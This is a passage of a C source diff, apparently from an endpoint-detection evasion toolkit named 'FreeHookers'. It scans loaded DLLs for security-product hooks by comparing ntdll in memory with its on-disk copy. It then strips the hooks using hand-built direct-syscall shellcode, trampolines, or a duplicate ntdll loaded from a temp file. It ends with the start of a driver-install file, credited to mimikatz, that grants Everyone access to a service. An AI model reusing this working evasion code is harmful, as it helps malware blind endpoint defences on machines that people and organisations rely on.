break;
|
||||
default:
|
||||
minimum = 0;
|
||||
maximum = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,673 @@
|
||||
// FreeHookers.cpp : This file contains the 'main' function. Program execution begins and ends there.
|
||||
//
|
||||
|
||||
#include "UserlandHooks.h"
|
||||
|
||||
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
|
||||
|
||||
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||
#if _WIN64
|
||||
#define PATCH_MAX_SIZE 0x18
|
||||
#else
|
||||
#define PATCH_MAX_SIZE 0x10
|
||||
#endif
|
||||
|
||||
int debugf(const char* fmt, ...) {
|
||||
#if _DEBUG
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int res = vprintf(fmt, args);
|
||||
va_end(args);
|
||||
return res;
|
||||
#else
|
||||
fmt = 0;
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||
*/
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (mem[i] != disk[i]) {
|
||||
size_t patchStartIndex = i;
|
||||
if (NULL != lenPatch) {
|
||||
while (mem[i] != disk[i] && i < len) {
|
||||
i++;
|
||||
}
|
||||
*lenPatch = i - patchStartIndex;
|
||||
}
|
||||
return &mem[patchStartIndex];
|
||||
}
|
||||
}
|
||||
if (NULL != lenPatch) {
|
||||
*lenPatch = 0;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||
* The list is a NULL-terminated array of "diff" elements
|
||||
*/
|
||||
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||
size_t diffSize;
|
||||
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
DWORD diffsListLen = 4;
|
||||
size_t diffsListI = 0;
|
||||
diff* diffsList = malloc(diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in malloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while (diffAddr != NULL && sizeToScan != 0) {
|
||||
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||
diffsList[diffsListI].size = diffSize;
|
||||
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
diffsListI++;
|
||||
if (diffsListI >= diffsListLen) {
|
||||
diffsListLen *= 2;
|
||||
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList[diffsListI].mem_ptr = NULL;
|
||||
diffsList[diffsListI].disk_ptr = NULL;
|
||||
diffsList[diffsListI].size = 0;
|
||||
return diffsList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||
*/
|
||||
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||
diff* list = NULL;
|
||||
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||
nonWritableSection != NULL;
|
||||
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||
LPVOID searchStartMem = sectionAddrMem;
|
||||
LPVOID searchStartDisk = sectionAddrDisk;
|
||||
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||
|
||||
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Dumps the full content of a single file, in a newly allocated buffer
|
||||
*/
|
||||
PBYTE readFullFileW(LPCWSTR fileName) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
PBYTE fileContent = malloc(fileSize);
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||
free(fileContent);
|
||||
fileContent = NULL;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return fileContent;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Checks is a file extists (and is not a directory)
|
||||
*/
|
||||
BOOL FileExistsW(LPCWSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/*
|
||||
* Looks for a memory needle in a memory haystack
|
||||
*/
|
||||
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||
{
|
||||
if (!haystack)
|
||||
return NULL;
|
||||
if (!haystack_len)
|
||||
return NULL;
|
||||
if (!needle)
|
||||
return NULL;
|
||||
if (!needle_len)
|
||||
return NULL;
|
||||
PBYTE h = haystack;
|
||||
while (haystack_len >= needle_len)
|
||||
{
|
||||
if (!memcmp(h, needle, needle_len))
|
||||
return h;
|
||||
++h;
|
||||
--haystack_len;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||
*/
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||
{
|
||||
SIZE_T haystack_len;
|
||||
PVOID haystack;
|
||||
PBYTE patternInExecutableMemory;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||
{
|
||||
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||
continue;
|
||||
}
|
||||
haystack = mbi.BaseAddress;
|
||||
haystack_len = mbi.RegionSize;
|
||||
while (haystack_len)
|
||||
{
|
||||
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||
if (!patternInExecutableMemory) {
|
||||
break;
|
||||
}
|
||||
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||
return patternInExecutableMemory;
|
||||
}
|
||||
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||
haystack = patternInExecutableMemory + 1;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID unhook(hook* hook, DWORD unhook_method) {
|
||||
if (unhook_method == UNHOOK_NONE) {
|
||||
return;
|
||||
}
|
||||
|
||||
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
diff* patches = hook->list_patches;
|
||||
//merge every small patches into 1 patch to perform a single write
|
||||
diff patch = patches[0];
|
||||
int nb_patches = 0;
|
||||
while (patches[nb_patches].size) {
|
||||
nb_patches++;
|
||||
}
|
||||
diff lastPatch = patches[nb_patches - 1];
|
||||
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||
|
||||
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||
|
||||
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||
// in this case, it is not really "safe" to use
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||
|
||||
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||
break;
|
||||
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||
{
|
||||
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||
RtlGetVersion(&versionInformation);
|
||||
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||
DWORD oldProtect;
|
||||
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
PBYTE pShellcode = shellcode;
|
||||
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||
pShellcode += sizeof(mov_eax_syscall_number);
|
||||
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||
pShellcode += sizeof(mov_r10_rcx);
|
||||
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||
pShellcode += sizeof(syscall_ret);
|
||||
DWORD syscallNumber = 0;
|
||||
|
||||
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
|
||||
for (int i = 0; i < 0x10; i++ , scanner++) {
|
||||
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
|
||||
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||
syscallNumber = *pPotentialSycallNumber;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (syscallNumber != 0) {
|
||||
//syscall number found !
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
|
||||
syscallNumber = 0x50; // win10
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||
syscallNumber = 0x4E; // win8 / 2012
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion <= 6) {
|
||||
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||
}
|
||||
else {
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
*((DWORD*)(&shellcode[1])) = syscallNumber;
|
||||
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
|
||||
#if !_WIN64
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
#else
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
printf("Unhook method does not exist, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
break;
|
||||
}
|
||||
|
||||
//actually remove the hook
|
||||
DWORD oldProtect;
|
||||
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||
SIZE_T patch_size = patch.size;
|
||||
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < patch.size; i++) {
|
||||
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||
}
|
||||
|
||||
status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||
FreeLibrary(secondNtdll);
|
||||
}
|
||||
DeleteFileW(ntdlolFilePath);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||
}
|
||||
|
||||
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||
exit(1);
|
||||
}
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID hookResolver(PBYTE hookAddr) {
|
||||
PBYTE destination = hookAddr;
|
||||
BOOL hasFollowedJmp = FALSE;
|
||||
while (TRUE) {
|
||||
switch (destination[0]) {
|
||||
case 0xE9:
|
||||
{
|
||||
int diff = *((int*)(&destination[1]));
|
||||
destination = &destination[5] + diff;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#if _WIN64
|
||||
case 0xFF:
|
||||
{
|
||||
BYTE selector = destination[1];
|
||||
if (selector != 0x25) {
|
||||
return NULL;
|
||||
}
|
||||
int diff = *((int*)(&destination[2]));
|
||||
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||
destination = (PBYTE)*offsetPtr;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
if (!hasFollowedJmp) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||
}
|
||||
|
||||
hook* searchHooks(const char* csvFileName) {
|
||||
FILE* csvFile = NULL;
|
||||
DWORD hookListSize = 8;
|
||||
DWORD hookList_i = 0;
|
||||
hook* hooksList = calloc(hookListSize, sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
debugf("calloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
if (csvFileName) {
|
||||
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||
perror("CSV file could not be opened:");
|
||||
exit(1);
|
||||
}
|
||||
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||
}
|
||||
|
||||
BOOL hooksFoundInLastModule = TRUE;
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||
if (dll_name.Buffer == NULL) {
|
||||
continue;
|
||||
}
|
||||
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
else {
|
||||
hooksFoundInLastModule = FALSE;
|
||||
}
|
||||
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||
if (NULL == memDLL->exportDirectory) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||
continue;
|
||||
}
|
||||
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
PE* diskDLL = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||
|
||||
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||
continue;
|
||||
|
||||
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
|
||||
//check if hook was already detected in this function (due to export aliasing)
|
||||
BOOL alreadyChecked = FALSE;
|
||||
for (size_t i = 0; i < hookList_i; i++) {
|
||||
if (hooksList[i].mem_function == mem_functionStart) {
|
||||
alreadyChecked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if (alreadyChecked)
|
||||
continue;
|
||||
|
||||
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
|
||||
hooksFoundInLastModule = TRUE;
|
||||
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||
if (NULL == jmpTarget) {
|
||||
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||
}
|
||||
else {
|
||||
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||
printf(" ");
|
||||
}
|
||||
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer,
|
||||
functionName,
|
||||
jmpTarget,
|
||||
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||
);
|
||||
}
|
||||
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize *= 2;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (hooksList == NULL) {
|
||||
debugf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||
hooksList[hookList_i].functionName = functionName;
|
||||
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||
hookList_i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
if (csvFileName) {
|
||||
fclose(csvFile);
|
||||
}
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize++;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
printf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
hooksList[hookList_i].mem_function = NULL;
|
||||
hooksList[hookList_i].disk_function = NULL;
|
||||
hooksList[hookList_i].functionName = NULL;
|
||||
|
||||
return hooksList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||
*/
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||
PE* ntdllPE_mem_l = NULL;
|
||||
PE* ntdllPE_disk_l = NULL;
|
||||
|
||||
if (ntdllMemPe_g == NULL) {
|
||||
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||
}
|
||||
else {
|
||||
ntdllPE_mem_l = ntdllMemPe_g;
|
||||
}
|
||||
if (ntdllDiskPe_g == NULL) {
|
||||
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
exit(1);
|
||||
}
|
||||
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||
}
|
||||
else {
|
||||
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||
}
|
||||
|
||||
if (ntdllPE_mem) {
|
||||
*ntdllPE_mem = ntdllPE_mem_l;
|
||||
}
|
||||
if (ntdllPE_disk) {
|
||||
*ntdllPE_disk = ntdllPE_disk_l;
|
||||
}
|
||||
}
|
||||
|
||||
void test_trampoline_search()
|
||||
{
|
||||
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
|
||||
{
|
||||
PVOID trampoline = NULL;
|
||||
printf("Looking for %s trampoline ...\n", h->functionName);
|
||||
for (diff* d = h->list_patches; d->disk_ptr; ++d)
|
||||
{
|
||||
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||
if (trampoline)
|
||||
{
|
||||
printf("\tTrampoline found at %p !\n", trampoline);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!trampoline)
|
||||
printf("\tTRAMPOLINE NOT FOUND !\n");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
/*
|
||||
|
||||
--- Driver install / uninstall functions.
|
||||
--- Source and credit: https://github.com/gentilkiwi/mimikatz
|
||||
|
||||
*/
|
||||
|
||||
#include "DriverOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
